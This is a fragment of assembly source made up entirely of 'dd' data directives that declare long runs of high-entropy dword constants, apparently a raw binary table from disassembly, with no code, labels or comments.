dd 0BF75870Ch, 0D0A1BD6Eh, 0EA5F5CF0h, 8DFDFC13h, 0DF0B2C87h
dd 0FBAEAEh, 2A2E4F2Fh, 8A8EBD70h, 51288482h, 5DF99E91h
dd 8581C128h, 19901130h, 75E8810Fh, 0B88C9BA8h, 65175EFCh
dd 0DC5F0F28h, 0EA178652h, 0CE342EFBh, 0B8441DD3h, 5C731761h
dd 0D7D3FDEBh, 91BABABh, 0E3E08622h, 0A14B94B9h, 18177303h
dd 0D90D971Dh, 4DDEFC1Ah, 3033EA62h, 7E8A419Eh, 0CC7249F6h
dd 4F95F6E1h, 84DDF120h, 6C10E1ACh, 0BE42A12h, 2A82BF3Fh
dd 0E3641C14h, 0B11E36DDh, 0A721F200h, 776947E8h, 0D5CD8F37h
dd 91AC28FEh, 0E12F0166h, 3DB799B8h, 0BD4E04BDh, 8E2292C5h
dd 0D598262Dh, 6AAA1A13h, 0E3B430FEh, 714B2428h, 0E8029F51h
dd 0C4FB187Bh, 33254029h, 0B4A15988h, 2B83BBAh, 3F6781D7h
dd 0C975C802h, 659A9C4Dh, 0ADF81142h, 3BDC60A9h, 3530B219h
dd 0C986B270h, 0F12965Ah, 0AD623378h, 59BA74DCh, 0E9713832h
dd 9A059072h, 386A0BE5h, 8C5F2551h, 1CAEB51Ch, 2D5A9BDh
dd 0BBCA1764h, 85DA1D38h, 0C1BC1DEEh, 9E134D98h, 0A0F3E09Dh
dd 581B256Fh, 18938CFEh, 8687DFF2h, 0D845D31Eh, 0E29D8E86h
dd 0B584863Ah, 50CE68E3h, 2F56E77Bh, 61E4FB1h, 6CBC7911h
dd 6E06D685h, 0E597A90h, 47787968h, 749586CFh, 260559F4h
dd 0C603905Eh, 310A70EDh, 8915831Bh, 7BF8B905h, 938C9295h
dd 0AA0EBD39h, 455AE067h, 2F6AC073h, 0C39E0B18h, 634F5B9Ah
dd 5FA0A293h, 91D0569Ah, 4F15DB35h, 0C81C0D06h, 0FA1B808Ch
dd 61753758h, 0C1493616h, 96AE646Fh, 84F2121Dh, 5645047Ah
dd 0FEE71C4Bh, 0DBCC5F1Eh, 66E85ABAh, 98EB4FD7h, 7A90B01h
dd 0BA8596h, 0C2520199h, 0D49A2D2Eh, 0AE4944DBh, 89C5373Eh
dd 0A6B31696h, 4072B789h, 25D9FF08h, 10A51C3h, 0D14430EDh
dd 68C96AD5h, 5931520Bh, 622BA464h, 0BE21C0Ch, 838AA429h
dd 0DADFA29Eh, 0F8153257h, 0DD1048BBh, 51679357h, 6F6FA064h
dd 7F55C48Ah, 35B49659h, 0B3C8EBE3h, 62B3C2F8h, 0CD96B651h
dd 642E5EB4h, 97ECC8FBh, 18DCA4ABh, 81D6F28Ch, 0F48B89B5h
dd 0A9FF5E89h, 0CB5AC7F8h, 1DAC89FFh, 0BA156630h, 8B46D931h
dd 19F945A5h, 89A793E6h, 22B07057h, 9D08FAA1h, 22553C50h
dd 7DD1092Dh, 7E397CDBh, 8C39D198h, 8DA381C9h, 0C5A5FC69h
dd 0EFB1E220h, 5D9AADC8h, 67B82CD0h, 0A0F793BFh, 53382539h
dd 673BA99h, 0FA7505D7h, 158DF038h, 80A21C3Ch, 6770A590h
dd 0FDAA8C82h, 43C4B258h, 2F0C8344h, 11ED7947h, 0B8840285h
dd 7E50B580h, 0DCD7AA9Bh, 3E7E5726h, 6D4ECB9Ch, 4422727Eh
dd 3C2235B4h, 0D306BD12h, 5C25F5E7h, 0B2248706h, 73B3DC53h
dd 3772272Dh, 80ECE6A6h, 5F8AC49Fh, 40C95571h, 0ED967CF0h
dd 36B99F97h, 556E8F64h, 0BE803AFFh, 0D5D4A272h, 73058D6h
dd 2EE4C491h, 0C8780B4h, 0F48ECA70h, 348D1946h, 26D26F0Dh
dd 57E16A9Ah, 0B57D76FBh, 206CC9F8h, 0A750B5D9h, 962E9172h
dd 0F4FC9B30h, 9CEF0515h, 0CFD53734h, 20C7C062h, 0A4AB9877h
dd 599FFDFFh, 0C4CF26BFh, 0EB929AC9h, 7DBA603Bh, 77EC762Eh
dd 1351DB43h, 0D312C1E5h, 0B624D923h, 8B861D31h, 0D8F565B9h
dd 66A3825Dh, 202326BAh, 761AEC52h, 776ABAEAh, 7750F1D2h
dd 10DAC20Eh, 43079A32h, 2B8C177h, 5A1A909Ah, 0A36F33DFh
dd 33756A00h, 13E0A1FBh, 5B9AB926h, 0D1EDAEF5h, 2F327163h
dd 3A5FD49Bh, 0E69087DDh, 0CC3B61D1h, 59299236h, 0ADB033BEh
dd 0A9EE2EA2h, 0A3C9D14Ch, 8E93767Ah, 0ADD0E67h, 9F32A392h
dd 0CCF5C64Bh, 7D716A11h, 559F7810h, 0BA1D5995h, 2DED42F3h
dd 452E7A5Dh, 0ABB6047Eh, 0C095D90Fh, 640BEE20h, 5ED16D51h
dd 0EAFE1989h, 0BAC06A02h, 0CDBB7949h, 0DA372D8Bh, 18739C2Ah
dd 0C644347Bh, 8242C83Dh, 0FD352C59h, 0F9CB5386h, 0D08B2D89h
dd 68BC7AE7h, 0D3099863h, 25E762C7h, 32EC3A9Ch, 577EC3F7h
dd 0C44485BBh, 3D0C094h, 8FD23478h, 26056E1Dh, 0A4D7A6A5h
dd 736F06C2h, 4626CF40h, 82A79451h, 37E1CB82h, 0FAF8F927h
dd 0EBA10614h, 0E063BB74h, 45CBFCBCh, 0A463F95Fh, 9CBBF98Bh
dd 3E8CD862h, 7669E37Fh, 62318A01h, 8AA1241Ch, 0BA6A77E9h
dd 1D30CDF2h, 5AE09845h, 300D0D40h, 0B8076347h, 0E3C8AE57h
dd 0DBC18988h, 12EAF2CBh, 96D10802h, 1240342Fh, 3145EFDh
dd 8207DDAEh, 4A8CB4A6h, 3B01EB7Fh, 0B052D0h, 4FFAD58Dh
dd 72C8F467h, 0CEEB48Ah, 0A6C13E06h, 76B0EC46h, 0F529F6FFh
dd 869B6E5Ch, 0C7AF2126h, 79C1B09h, 0D588E51Fh, 827AA124h
dd 5EA39BFAh, 524CABEFh, 86F5091Fh, 59B25A4Dh, 5DC8F5D9h
dd 145506CEh, 0A71E889Fh, 9C140DC5h, 0DB805618h, 0E7066859h
dd 2BCAFB54h, 47DDEF02h, 4A5338D3h, 0E3DA6DD6h, 3D0F9F0Ah
dd 22D34EA2h, 4EFC2501h, 2330B401h, 0F10E34C7h, 124B8932h
dd 0E95B5D48h, 6C3BE412h, 0A860DF31h, 0CEA7978Ah, 0C4D5467Fh
dd 9096416Fh, 80C0D8D7h, 0CAE20E82h, 5DABB8F4h, 9AABE5C4h
dd 7A33F3BFh, 6C38A393h, 760A8C57h, 25C3CFEAh, 36414D9Ah
dd 3E742507h, 0CD2A2755h, 0C7ED9E05h, 273D8F24h, 92BE8E56h
dd 287E56A8h, 0A158B9DFh, 97856D4Ah, 1C62296Bh, 54873BCBh
dd 0F8D3DF6Bh, 7F3AF569h, 55CCC257h, 0E8D0948Ah, 1DE54032h
dd 645A2DD2h, 5095C96Ch, 0F27F32B5h, 0A7A04662h, 0B4E477C4h
dd 0F921096Fh, 2DF19B70h, 575D9CE0h, 3F4C0C8h, 0CEC1367Eh
dd 55AF3CBDh, 39B00463h, 110F88E7h, 60571745h, 0C300CB20h
dd 0AFC6B9E2h, 0B964D8Eh
dd 0A8A1FE36h, 70F09ED2h, 0D4492E59h, 0C2E6574Ah, 0B2CF6472h
dd 238EB0EEh, 0F6006522h, 1D0C140Dh, 0DF6921A9h, 0A131C20Ch
dd 0C2D409AAh, 0F48A070h, 4A288EAh, 0B05A96Fh, 0A3C399D2h
dd 413E914h, 53EC4E93h, 4F153527h, 0A5E4D552h, 0EDF71569h
dd 0F675F9BAh, 3E101598h, 0E4564B75h, 34339368h, 6FC3E91Eh
dd 0FC189009h, 0FA11CD0Ch, 1ADDB6E4h, 92DB213Fh, 0CAD2FC6Eh
dd 8FE871FDh, 9AA6F2B7h, 0D721B339h, 0E35FB83Eh, 2E6C62EAh
dd 278160A7h, 0DBF0FDC6h, 73362E23h, 5FA50C36h, 0E303EB07h
dd 0AE09A720h, 77F6C2CAh, 7152C60Fh, 2E1881E0h, 997FEAC2h
dd 50776FD4h, 0D1FFCFB1h, 0D38F4F31h, 0D11C7C28h, 5243979Ch
dd 0A3395168h, 0A660E39h, 0D665F34Fh, 304879EBh, 0CA60D524h
dd 0DA7BD37Ah, 749F84CFh, 33BBDA49h, 4CA2E5E4h, 87E73ED3h
dd 0D77635C4h, 0FC681D78h, 0D55BE536h, 574509Eh, 0A3CB3E9Bh
dd 83CD8A00h, 1E3FB80Eh, 0E209C892h, 799B867Bh, 353E8A2Eh
dd 0D4D0C64Eh, 34C714B4h, 0CB985DD7h, 6336BFCEh, 0A4AFBEF7h
dd 2CD3F793h, 0FDACE4D1h, 3547BF8Eh, 0E66849D1h, 5CABC1C3h
dd 753C0E4h, 0FBBFB680h, 611745B0h, 0A4428B19h, 0B2CC67F0h
dd 6999EA17h, 33A9E05Fh, 247B631Fh, 95E382D0h, 36A149D3h
dd 0D6F4C74Bh, 0F03800DCh, 68DA0E56h, 6685CEE5h, 0D1B29382h
dd 671B221Ch, 80477334h, 82457822h, 16611C2Bh, 14E45D36h
dd 55056BEBh, 357BD682h, 88AF6793h, 0B8CA139Dh, 730AD9BDh
dd 8990473Bh, 0CE08BEBBh, 55BCAC23h, 0E0EB56Ah, 3CB9CE56h
dd 0DB57B20Ch, 0EEC2436Fh, 1C3FDB6Dh, 0D316C854h, 86092A9Ah
dd 2331CFF8h, 0A6BFEDBFh, 13A97535h, 3D5637BAh, 7973839Dh
dd 137A6816h, 9B0DFFECh, 0AD556484h, 87118CBFh, 20820CB6h
dd 0D8D42DC0h, 0BE39C0E4h, 2D7AF150h, 0E0071399h, 7917F9FCh
dd 0BE1FDD44h, 0AC71D8CBh, 324E244Ch, 0BF4D5E95h, 0F4C17EAh
dd 3AEBFB6Eh, 1CD2520Eh, 0A0F41A24h, 6B50740Ch, 5D189B0Dh
dd 5C296F8Eh, 0FC538DE4h, 89FFF529h, 9C62DCB5h, 8AC22F54h
dd 0DD7CC670h, 2899B708h, 0EA45C635h, 368A1A76h, 9CC23FCCh
dd 0BA6D2920h, 0E1F80B7Fh, 883FD388h, 2EF0225Bh, 4E641262h
dd 916F2271h, 3C1A917Dh, 2D15DCF7h, 4A0FF816h, 0F9308CDDh
dd 91DE242Dh, 70F0A3ACh, 0BFA16887h, 0E589E83h, 0D1971A80h
dd 8D784897h, 0C4BC973Eh, 0C655588Fh, 0D25F310Bh, 0EB4AA363h
dd 59B7CFECh, 0EC29E650h, 5B1710BAh, 72E0F420h, 0A4FA5587h
dd 6ABA9113h, 5D3DBE07h, 4A3FEF35h, 0A1AFEB80h, 7841C7DDh
dd 0F5D60143h, 2DBC7139h, 0D0A79059h, 7C049270h, 170F4879h
dd 0B9ACBD86h, 570D9F16h, 0A71AE7CCh, 263A5534h, 3534EC2Eh
dd 0D0B207F3h, 0AF36EB2Dh, 811579D0h, 0A00D1C01h, 2210A1A6h
dd 638191D9h, 0F6A0BE07h, 0F5BCA7E2h, 679FF1EFh, 3D565D8Fh
dd 74301B86h, 0CF24D63Dh, 2A7EED1Bh, 0F7DEAAAEh, 6E1E6A22h
dd 0B84D1862h, 0EB119EE7h, 0C3A52091h, 43D88695h, 4DEB449Dh
dd 4FD98444h, 3F55571Fh, 0E0AD96B4h, 2F35321Dh, 0EE6B5B16h
dd 0E194D057h, 7819DFF6h, 482D4AF5h, 0A5B846C9h, 71995480h
dd 0D11B030h, 607BC6B8h, 6E252F5Eh, 8B837B9Dh, 0C4AA0E89h
dd 2942FC1Ah, 25A2ED67h, 6BDA9794h, 65F27E1Ah, 0E320F79Fh
dd 896DD8AEh, 234C9BACh, 8F9B5994h, 246642DFh, 10354040h
dd 1A0C15F7h, 3A2F331h, 424A17F9h, 0FB7B604Fh, 3A824C76h
dd 0A867E77Fh, 0BFABDEC3h, 0D32F06C2h, 0BA09AB92h, 28F37B7Fh
dd 1FB779B6h, 0C70782FCh, 75496F31h, 86FFC4A3h, 8A18D69Bh
dd 80A6F66Ch, 0E15209AFh, 0FC75297Dh, 9765835Eh, 4BC1185Ch
dd 0A7FAFF80h, 9A743F9Fh, 37602F60h, 276B3F51h, 0C7BAFC5Bh
dd 0F8F767F6h, 1BF41873h, 0C691FCE3h, 782C75BCh, 8AE68EB9h
dd 0E1EB96B7h, 0AB11A1h, 218EA9EDh, 0CC96F168h, 0CB1740C0h
dd 99968DB0h, 0A5CDE328h, 2A8EAE59h, 0C5E3566Ah, 6C3815FEh
dd 522D6894h, 0AB6DF602h, 944AE87Ah, 0C802A49Dh, 7944B24Ah
dd 6735FA61h, 8AFF66Bh, 0A9B6B6E7h, 6BE0BD1Bh, 0C1B9EDD8h
dd 5223CD88h, 8187B7F0h, 9500571Eh, 76734989h, 4A875CE3h
dd 87D0BE63h, 7432FA27h, 0DE99E6D1h, 0CA864B6Eh, 7D70EF06h
dd 0BB5D7E2Ch, 90CAA778h, 0D758F73h, 0AC0F0077h, 175FBB42h
dd 9B353E5Eh, 0E03782FAh, 127749D2h, 0DE9C7853h, 0F34B363Dh
dd 0AEC3EBB5h, 4D89C531h, 10112A70h, 0B6FCC7FCh, 79B9C724h
dd 0FB9B5AC8h, 71E62195h, 84A42024h, 2AEBC28Fh, 0DC17439Ah
dd 8B07878Eh, 1187F802h, 5C7F298Eh, 521B9516h, 70320330h
dd 93747034h, 7B3227Eh, 8D12EC59h, 9DAD78C4h, 0B956687Ch
dd 1EAE37C4h, 44195441h, 9EA70467h, 23E0D333h, 0A954D9BBh
dd 3DA78CFEh, 6838BB6Eh, 0CDBE1067h, 8C826EC6h, 0E57A3E52h
dd 8CF6F204h, 861339A2h, 0B6FF6F03h, 3E476418h, 9127008Fh
dd 0CBE731F5h, 0EEAFEB22h, 0F5E468C8h, 61BFAE44h, 0FB4CBD50h
dd 0C3DB7FBAh, 5004886Ah, 0B3C336B5h, 3719E4A9h, 6EB071C0h
dd 1E0A71D3h, 3C859800h, 0BE16C9AEh, 2259B3ECh, 3B64814Bh
dd 32B223BDh, 28D8E4CEh, 0B3570278h, 781CBA11h, 20F08468h
dd 0E3F317E2h, 1B3AEB16h, 0CCDB1F1Fh, 494AA1EAh, 683F53FCh
dd 89A7CEA7h, 0DFC95441h, 0F1132D41h, 5F34A59Dh, 0CC2F8863h
dd 1AF91A16h, 60B72D2Ch, 96E50BFh, 8B370123h, 81CCD79h
dd 9F7EB959h, 0C78FC45Bh, 631DFBD8h, 0A50E14FDh, 0DDEA4998h
dd 4C4200E9h, 0AFE23F06h, 0D477D994h, 67598D75h, 31D10B35h
dd 0FD0151A9h, 0DEE4E73Dh, 216B8F80h, 55619536h, 0C71456Bh
dd 0A3E50978h, 0F58F3AC5h, 0D4E649F9h, 6BF1A22Dh, 81051CF7h
dd 9E25EAFFh, 0C82155C6h, 0D11195Bh, 0D54A034Bh, 66F2FACh
dd 0B79A1732h, 1F706763h, 0FFC98BA1h, 0C4FAAA4h, 385D8548h
dd 83EF1C20h, 0D5A344Dh, 10D1CEA8h, 70405D67h, 341785DBh
dd 0E2BD757h, 16128136h, 0D4978F38h, 0CCF6D7F4h, 86972CBh
dd 6D5A25Dh, 9EA021F5h, 6D675236h, 0DA02B06Bh, 0A6A0CDA7h
dd 72342DF0h, 7811EFBh, 4795C96Dh, 0D60EA845h, 86E249DBh
dd 635E50E4h, 4D2F2BFAh, 5BDCBA5Ah, 0C50AC43Ah, 0F3C99C68h
dd 50128B1Ah, 96341ED1h, 7E5D76D3h, 0B42B59F3h, 23D86206h
dd 9D6616EAh, 95A8C0FFh, 0D48DE19Eh, 0B2AD945Dh, 592C65B7h
dd 6B3B76D3h, 34A0D878h, 3E0D98B1h, 40C9F1EFh, 0DEB8587Dh
dd 0AB5422F0h, 4CA78C57h, 0A7F3D74h, 62857134h, 69120408h
dd 67C661B9h, 0BF690225h, 0D1F358DBh, 746974CEh, 0D6654D41h
dd 0F5502AEFh, 7F0AD119h, 6A56A825h, 0DF0CDE12h, 0DB3B2A96h
dd 25E20C18h, 0DBF8C5CAh, 7AA6CC83h, 0E4141A0Eh, 1E467CA1h
dd 0B9A635E4h, 0C571F32Ch, 9ECBDE77h, 82523F2Ch, 9817C99Bh
dd 0B2B9C2E8h, 2BC8A945h, 0CF823D0Eh, 67DDF1Dh, 10215807h
dd 267347B3h, 0AA1B9071h, 67593628h, 0A6B97FD5h, 9048DD8h
dd 0C545B12Fh, 0D204F5B4h, 0E92C4FD3h, 0B6C188CDh, 8BCC842Dh
dd 0A85C10Ah, 0E80AB4FCh, 378BA621h, 17A055A3h, 0C3FA92F3h
dd 0BBC752F6h, 7BD9B183h, 84194B5Fh, 0CCDD0B8Bh, 0A926BD0Eh
dd 5D533CFEh, 0E2004008h, 88E4C50Eh, 0EF98467Dh, 0B4664102h
dd 55EC5B21h, 0C29990EDh, 5655E478h, 10458207h, 356FA2F4h
dd 20C6FFE6h, 8E089A5Ch, 35678F9Ch, 3632361Fh, 0D7ED32F1h
dd 6129E8BCh, 0C9F2C75Bh
dd 119A9E26h, 0FECE096Eh, 60D77A81h, 1D26C13Eh, 8FC2533Ah
dd 0B7355D7Eh, 9356E5B1h, 71E3EB5Fh, 0C85E3B22h, 9F45849Ch
dd 603D2902h, 3CD2C0F9h, 853874B7h, 6A29CE72h, 0FE03A281h
dd 59D4437Eh, 53E8330Fh, 0FD6EC3B1h, 0F991D2A8h, 93B19A86h
dd 0B2302D41h, 0EF89C82Ch, 6A295243h, 150F044Dh, 26F1AAB4h
dd 36F2FDA8h, 0BCE39BBEh, 60D8543Eh, 0E25D62F2h, 8D360020h
dd 0D6DF1721h, 8C11AEEFh, 6C07709Eh, 59FB4528h, 2312D5Bh
dd 9F848944h, 6D2B6CBBh, 0C736357Ah, 3EA41B11h, 0DA00A377h
dd 405D5888h, 20209947h, 797A26Ch, 1A476BF0h, 42AFA7B2h
dd 794EDEB0h, 0E13BBA13h, 8F2CA24Ah, 0F31B15AFh, 0FEF72EC7h
dd 8F04F2DCh, 301F3B9Eh, 7BC39CEBh, 0F7934C09h, 0E9986194h
dd 0BA5287D2h, 0B71B63Dh, 256AE0A8h, 9816489Dh, 5BF57A2Ch
dd 3F1DCC7Bh, 0AFD24A90h, 0CC4CFA2Ah, 8B98442Dh, 655C6436h
dd 0A23851Ch, 3C9E227Bh, 0FD127C8h, 1129B5E8h, 69FD5364h
dd 1740C706h, 241C2C84h, 0B207BF6Eh, 9ACA75Ah, 0F6993046h
dd 0F4648CBFh, 34DB13F8h, 0E10219CEh, 0CD352CB6h, 8EAA0626h
dd 0CB1F16D0h, 407A7338h, 84CF9792h, 49725307h, 0C90A7F52h
dd 738F61B9h, 0FC0DB28Dh, 0E395CD5h, 0C7E149B1h, 86931583h
dd 0F4A0A9DFh, 65C5AADFh, 6765B11Fh, 9D0D6DB9h, 482BF18Fh
dd 4DAC736Fh, 0C2F7F7C3h, 86419760h, 0B1A6BD2Dh, 7064D734h
dd 0C838505Fh, 5CA56314h, 0E6A90325h, 29F9991Ch, 0F6D42BF1h
dd 0DBC81720h, 0DBCD1AD6h, 907778CDh, 6CB77334h, 52324084h
dd 3C631AE6h, 7E226D2Dh, 0FDDDE2B9h, 0EB98A86Dh, 0DACA263Ah
dd 6C97B4F8h, 4BD82251h, 3F3A4A47h, 2FE6EF86h, 9666E4D6h
dd 7389D1F9h, 0E2B0A690h, 83E7FFACh, 8DEB864h, 7E528593h
dd 0B52AAAB0h, 96ADF278h, 0DC3321C0h, 0EA6799F0h, 0D1E7CEBAh
dd 49A45B24h, 2ECB76A2h, 2824846Ah, 158E7B9Ah, 6738562Eh
dd 0EDE7F0C9h, 3BE1B22Eh, 18EC8542h, 9DFEA2B8h, 0FACB373Fh
dd 0DE8194A8h, 0F2DD55h, 865E7D4Eh, 33442BCh, 2609A311h
dd 0EA008AC5h, 82E33269h, 79A07045h, 56EE61C6h, 0DF1DA9B4h
dd 8D159BDBh, 0A34FF634h, 89918A19h, 0CFF31693h, 92045CD3h
dd 9F7F947Ch, 471B89D8h, 56801283h, 7DC5E02Bh, 0A2440F16h
dd 0F316BE16h, 0A197EE9Bh, 5DB8FC0Fh, 0C8B18A45h, 5334DE1Ch
dd 0AC9C1904h, 74B022C3h, 0EC1318Bh, 599B71A6h, 5BC23BC4h
dd 56F6914Ah, 1CFA38ECh, 0EE2B61ABh, 0E79BF434h, 8FE7F892h
dd 2F1A2EEAh, 0C8C0E2A8h, 38E17C10h, 0DEC36B09h, 20EBACB4h
dd 1F033E1Ch, 69B48CABh, 6E402310h, 6EA41D9Bh, 0FB111E49h
dd 4AF12B90h, 7869688Ah, 0EFAD5D2Eh, 0AD2BF294h, 8C02BC1Ah
dd 0C75B7233h, 1DB25198h, 0A0C3E90Fh, 0B31F41Dh, 3D25BCC2h
dd 12F0330Ch, 73F8D812h, 0E86A23D3h, 0DF4230FEh, 55C5336Ch
dd 0EA0B6C46h, 1E9AA60Fh, 0F82B3EF2h, 24F5F07Eh, 0D020883Ah
dd 67C1AD44h, 0CE470F25h, 86F86266h, 2869500Eh, 6E14F057h
dd 914FF4EFh, 696F38EFh, 5E4F9138h, 8EE8A4E5h, 1A4E028Ah
dd 0D00E2011h, 26DC1550h, 65E95F8Fh, 0E755CB3h, 80558035h
dd 0A9BC58B2h, 57143BBEh, 0B31A9028h, 8F2CB5ECh, 11EC2E18h
dd 0F534A4D8h, 3C074BC2h, 0B0B72609h, 74D608BEh, 277D1540h
dd 27482294h, 0B732D621h, 0EDB077EEh, 0AB08258Ah, 78F80653h
dd 3D223C75h, 4CF12291h, 4DFA634h, 7B7198E2h, 2FC534F2h
dd 973C993Dh, 4DCF73D5h, 121E0ECh, 36F8EB38h, 6EFF1AD5h
dd 2C8F6AC1h, 8F088999h, 93C0A486h, 0E8D59DFFh, 0E00CD71Ah
dd 0D258E075h, 0E325FE11h, 0C68DE80Dh, 82EC3860h, 6F3AC7D1h
dd 0A0A603B9h, 0AE7E0D81h, 391D6F08h, 0BAAE450Bh, 7FF62FCCh
dd 51F9F6E8h, 0CCEE0A3h, 882419EDh, 63288888h, 36C1CB36h
dd 5DA6D3DAh, 0D5A004E4h, 46DD46D9h, 5FDDFF19h, 660A3087h
dd 23A04371h, 0DFA878EEh, 0DE69AAB6h, 467E515Eh, 22C91966h
dd 3A1A7FAFh, 21C1648h, 0C29537E7h, 0D7D78640h, 56D4F527h
dd 4DB68024h, 30ADCE27h, 101044A7h, 934C7CEh, 84876B91h
dd 8173A0A0h, 0DF4CFF45h, 70F6D73h, 768C63A7h, 15CA6960h
dd 2F3AE997h, 0B36B943Dh, 0FA73F231h, 68DD736Ch, 967044C9h
dd 55122A26h, 868926E1h, 9547333Ch, 0B4CD4815h, 0EACFDF31h
dd 304AE7F0h, 0A04A7978h, 58CC447Dh, 591554E3h, 0FFB5A10h
dd 80E8D9AEh, 0EA64C3D5h, 0DE36314Eh, 0B63DBC2Fh, 6E123615h
dd 6F36779Fh, 4F7AB253h, 1CC54859h, 0F41A12D7h, 0AB9A6F64h
dd 0CD4BE788h, 9EC6861Ch, 9A7C459Dh, 6BE213DCh, 6DB110DEh
dd 0A470D4A6h, 0CB246D84h, 314B0528h, 0D83CFF09h, 0B4DACC15h
dd 15F1116Dh, 8EFB278h, 0CCDCA33Eh, 788266BCh, 5AE0FAEBh
dd 0C7F48081h, 989F224Bh, 9AD344F9h, 5D79AD8Dh, 10D408DEh
dd 57CF864Bh, 0ADE1358Eh, 0C160C045h, 0B4CD8A5h, 77DB43A8h
dd 544D4C2Eh, 7033EC3Ch, 0F583B28Bh, 0D8574BCh, 0A027D05Bh
dd 0E473785h, 5F660B82h, 0A40D35DDh, 85C577C9h, 0D0BA6DDBh
dd 0D245427Bh, 9108C179h, 0B341640h, 2133FDF2h, 546143A1h
dd 6D0D5A8Bh, 221A38ACh, 2695CB7Ch, 0F71BAACCh, 7447B49Dh
dd 22D5A488h, 0B79D5F7Fh, 0E62903CDh, 7E7AC17Eh, 35BB1F1Dh
dd 18431824h, 0CE177C28h, 0A6860F0Ch, 53067DE9h, 0D141FC5Dh
dd 5D253423h, 0D1035EF2h, 0D9ACDFA5h, 635797B1h, 83D2A71Fh
dd 0D7F82462h, 6AF25A65h, 0AD6ED28Eh, 0DA33A344h, 3649764Fh
dd 0DD96663h, 0F768CF82h, 0CC58ADC5h, 0CCCDCAD9h, 5B24FB45h
dd 81381920h, 8114B7EEh, 0E1791C1Bh, 0F79BA68Dh, 231E7EE2h
dd 2FF722C6h, 9D8015FAh, 21F7FBE6h, 88E15893h, 407702CDh
dd 644493FDh, 0F029344h, 29E9264Dh, 3537DE3Fh, 32DEC3F8h
dd 6A955D92h, 0E947546Eh, 0FE049A34h, 0AB565C4h, 0ED251EB5h
dd 2F73F73Dh, 4F532EE1h, 920857EEh, 0AC3B1B1Bh, 2559FEEEh
dd 7A996046h, 0B36D2A77h, 28B42372h, 0D9FB8E11h, 0E00422Dh
dd 5BCCF926h, 717DEDEEh, 0AF413935h, 44FBCE63h, 0D5DEC9Fh
dd 0ED199E6Ch, 9206C8C1h, 9EF11D36h, 12DD0EE5h, 3DD05778h
dd 0A2A526CFh, 36A7E2A2h, 0E25CDC0Ah, 0C6002BD2h, 0C5DCFC5Ah
dd 526CAF8Bh, 0B73CE284h, 0A37D38D4h, 79651C81h, 74B8BC16h
dd 5D12D8DEh, 94D8E4AAh, 0EAF623B5h, 86E3B1A3h, 964E4172h
dd 2A9911DCh, 954543E5h, 0EAB96384h, 0C953DE58h, 4A809243h
dd 40B5393h, 0A04A4A43h, 1A8BDAB1h, 0AD3B7924h, 3FA0137h
dd 1C87DE1Dh, 190905D2h, 0D744AAA9h, 44C6F41Dh, 0A398F896h
dd 0AC6F02EBh, 2AED05CCh, 0F6164965h, 555BAD0h, 698AB2C0h
dd 0A929390Ch, 0F05B4C3Eh, 74F93A7Ch, 0A4D3DA30h, 95734B11h
dd 0BFB01EE9h, 10BFDC6Eh, 55352D9Eh, 5D569D97h, 25A9C4FCh
dd 0CCAB7D21h, 0A103D176h, 7E4D7F78h, 0F3BF9301h, 0BEA324Ch
dd 0C349FA1Eh, 15EE3821h, 693725Eh, 5A2AEC32h, 90855A09h
dd 8B4D8828h, 0A837F12Dh, 2CA3BEFFh, 42EDC3AAh, 0CF256198h
dd 0D6B7805Dh, 41BC8698h, 7023490Dh, 5F5416FDh, 0B249DA2Dh
dd 415AB351h, 16CC08FCh, 0DB221C7Dh, 47C40B1Dh, 8FD1943Eh
dd 30536412h, 0B26D53D7h, 84474C1Ah, 6681D8E4h, 0FB7EBC89h
dd 0D3311A0Eh, 0C3C7A724h, 0A0625321h, 900496Ah, 0F8F94840h
dd 1D56F98Ch, 40C37D6Ch, 20890BF8h, 5E17FC30h, 2F1AEBE4h
dd 82688675h, 0E2ACC7A8h
dd 7D820521h, 0B11E3190h, 0B3E8438Ch, 79E837C3h, 0AC498E83h
dd 359C8A3h, 0FB1191B5h, 9C1D925Fh, 7C8910EFh, 0A708E133h
dd 0BBA68AF1h, 23C5AC9h, 0CC257501h, 0DCDF2A04h, 0B9F2AEFh
dd 534242E8h, 0FC73D3BEh, 16F8F675h, 73FC9E4Eh, 0EB417360h
dd 2A950D72h, 81BBC75Bh, 0D914463Ah, 9F11D9BDh, 0DE9B8E4Dh
dd 391C586Ch, 67A854BBh, 96CF41C9h, 0C7B24FDEh, 702C4278h
dd 0F7717C4h, 43DFFA14h, 0F9F90F3Fh, 85287AAFh, 5322DEECh
dd 0A6908BD8h, 0EE4A99F5h, 33584048h, 284DF9ACh, 0B35A3C99h
dd 1ED48466h, 0D9235CA1h, 64136E68h, 0D8FF0536h, 0D2EE691Eh
dd 9A003D36h, 7674F200h, 0FEA4D186h, 3F23E898h, 86F75569h
dd 1FBC63BBh, 6884E897h, 0A15AB203h, 0D557688Fh, 2BB6CF6Bh
dd 3C4A0118h, 15A3F2BDh, 9705F9B0h, 6593DDC5h, 67112690h
dd 0B8D5507Ch, 9CDF83h, 29D4AEB2h, 0F693A21Bh, 6B112ADFh
dd 9FA64F28h, 0B796E56Ah, 0BAD6B0E5h, 1E4BF41h, 3D451AFh
dd 0E425E70Ah, 0C117024Eh, 35DD34CBh, 0A4C87BE2h, 744F2ED5h
dd 0AA18C203h, 0B12B0B9Bh, 90CC0273h, 894383DFh, 0AFE8175Ch
dd 29AA9E7Ah, 0EF1F4A27h, 0B2BAD56Eh, 0BDE679Eh, 0A8E15998h
dd 8A1D1E51h, 9F642CDEh, 7E197CC6h, 36F6AB00h, 0A9B37EB7h
dd 7EFA90D1h, 0D1C83D8Eh, 2A80A656h, 988245F5h, 0A7FC1F3h
dd 0A6FB017Bh, 2A898C3Dh, 4326BFE8h, 0FCC1747Bh, 30BC884h
dd 8B127EE3h, 1A873642h, 373B6B91h, 6403535Ah, 0EAFE081h
dd 5E9FB2C3h, 0F79F45E3h, 235F9764h, 0FB6F99Ah, 0A0E73ABDh
dd 45817F8Ch, 33561512h, 6D8655A5h, 7AB9DF8Ch, 3C083DE4h
dd 36A5A4E0h, 1852C4C6h, 0AB26D40Eh, 8F122CADh, 5ECAABBFh
dd 0F6155D1Eh, 1597F709h, 95497004h, 6245B739h, 0FDF933CDh
dd 8668F4FCh, 1632EE71h, 931257F8h, 83343610h, 0F0A165E8h
dd 0E993DFCDh, 6BF85F02h, 0E90CDB3h, 0F61894E1h, 74135CE5h
dd 4C629AF8h, 8CD4689Fh, 5FD5C519h, 2BEF5E49h, 971BAA93h
dd 95424013h, 0BAF8EAB7h, 1850308h, 6ECEA7C8h, 28DC3F0h
dd 0CC66D8Eh, 0C1FD79D2h, 0B2C38E24h, 0B7432C46h, 79A8C2F3h
